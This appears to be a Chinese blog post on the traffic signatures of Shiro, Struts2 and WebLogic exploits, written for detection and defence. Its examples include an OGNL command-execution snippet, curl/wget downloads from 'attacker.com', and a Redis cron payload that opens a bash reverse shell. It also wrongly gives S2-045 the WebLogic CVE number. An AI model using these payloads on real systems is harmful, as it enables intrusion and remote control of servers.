shiro、struts2、weblogic特征流量分析

文章目录

  • 一、Shiro漏洞流量特征
    • 1. **身份验证阶段的特征**
    • 2. **攻击阶段的特征**
    • 3. **检测与防御建议**
  • 二、Struts2漏洞流量特征
    • 1. **请求特征**
    • 2. **响应特征**
    • 3. **典型案例**
    • 4. **防御建议**
  • 三、WebLogic漏洞流量特征
    • 1. **XMLDecoder反序列化(CVE-2017-10271)**
    • 2. **SSRF漏洞(CVE-2014-4210)**
    • 3. **T3协议特征**
    • 4. **防御建议**
  • 四、总结对比

一、Shiro漏洞流量特征

核心漏洞:Shiro-550(CVE-2016-4437)与Shiro-721(Padding Oracle攻击)

1. 身份验证阶段的特征

  • 登录失败:返回包必含 Set-Cookie: rememberMe=deleteMe,无论是否勾选“记住我”。
  • 登录成功:勾选“记住我”时,请求包持续携带长文本rememberMe字段;未勾选时仅返回包出现deleteMe
  • 框架探测:工具爆破时主动添加Cookie: rememberMe=yes,通过返回包是否含deleteMe判断Shiro存在。

2. 攻击阶段的特征

  • 密钥爆破
    • 失败:返回rememberMe=deleteMe
    • 成功:返回包无deleteMe,且设置新rememberMe值(长度较短)。
  • 反序列化攻击
    • Shiro-550rememberMe值异常长(Base64编码的AES加密反序列化数据),响应包含Base64加密的命令回显。
    • Shiro-721:利用有效Cookie爆破密钥,攻击包中rememberMe长度剧增,成功时触发DNSLog请求。
  • 内存马注入rememberMe值超长,响应包出现$$$等蚁剑/冰蝎连接特征。

3. 检测与防御建议

  • 检测:监控rememberMe长度突变、deleteMe高频返回、DNSLog域名请求。
  • 防御:升级Shiro≥1.2.5(550)或≥1.4.2(721),禁用硬编码密钥,开启AES-GCM加密模式。

二、Struts2漏洞流量特征

典型漏洞:S2-045(CVE-2017-10271)、S2-016(命令执行)

1. 请求特征

  • OGNL注入位置
    • 头部注入:如S2-045在Content-Type插入恶意OGNL表达式(如 %{(#_='multipart/form-data'))。
    • 参数注入:S2-016在URL参数拼接redirect:${@java.lang.Runtime@getRuntime().exec('id')}
  • 编码混淆:使用Unicode或URL编码绕过检测(如 \u0023 代替 #)。

2. 响应特征

  • 攻击成功
    • 状态码500,返回Java栈错误(如 ognl.OgnlException);
    • 命令执行成功时回显命令输出(如 uid=0(root))。
  • 横向攻击痕迹:漏洞利用后常下载恶意脚本(如 wget http://attacker.com/x.py),并发动SYN Flood等攻击。

3. 典型案例

某企业服务器因Struts2漏洞被植入Perl脚本,持续向意大利IP(62.149.175.81)发送SYN包,导致防火墙CPU飙升至80%。

4. 防御建议

  • 禁用动态方法调用(struts.enable.DynamicMethodInvocation=false)。
  • 升级至Struts 2.5.26+,过滤OGNL表达式关键词(如 #@)。

三、WebLogic漏洞流量特征

关键漏洞:XMLDecoder反序列化(CVE-2017-10271)、SSRF(CVE-2014-4210)

1. XMLDecoder反序列化(CVE-2017-10271)

  • 请求特征
    • 路径访问 /wls-wsat/*PortType(如 /CoordinatorPortType);
    • POST包含恶意XML标签(如 <object class="java.lang.ProcessBuilder">),明文写入命令(如 curl http://attacker.com/shell)。
  • 响应特征
    • 成功时返回HTTP 202,写入WebShell路径(如 /servers/AdminServer/tmp/_WL_internal/wls-wsat/*/test.jsp)。

2. SSRF漏洞(CVE-2014-4210)

  • 请求特征:访问路径 /uddiexplorer/SearchPublicRegistries.jsp,参数含内网地址(如 operator=http://192.168.1.1:6379);
  • Redis利用:注入换行符(%0D%0A)执行Redis命令(如 SET cron "\n* * * * * bash -i >& /dev/tcp/attacker/port 0>&1")。

3. T3协议特征

  • 攻击流量:目标端口7001,TCP载荷含 t3 12.2.1\n 协议头,后续为序列化payload;
  • 设备告警:安全设备常基于序列化操作触发误报(需结合漏洞链完整性研判)。

4. 防御建议

  • 删除 wls-wsat.war 组件,禁用T3外网访问;
  • 升级至官方安全版本,监控非常规路径访问(如 /uddiexplorer)。

四、总结对比

特征维度ShiroStruts2WebLogic
攻击标识rememberMe长度突变OGNL表达式(#{}XML标签/wls-wsat路径
关键字段Cookie字段Content-Type/URL参数T3协议头/XML结构
成功响应Base64回显/无deleteMe500错误/命令输出202状态/WebShell路径
典型漏洞Shiro-550/721S2-045/S2-016CVE-2017-10271/SSRF

防御核心

  • Shiro:禁用默认密钥 + 会话签名验证;
  • Struts2:关闭动态方法调用 + OGNL沙盒;
  • WebLogic:删除冗余组件 + 网络隔离T3端口。

掌握这些流量特征,可通过WAF规则(如拦截rememberMe超长值)和流量审计工具(如监控/wls-wsat访问)实现精准检测。在高级攻防对抗中,需结合行为分析(如异常外联)识别混淆后的攻击流量。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值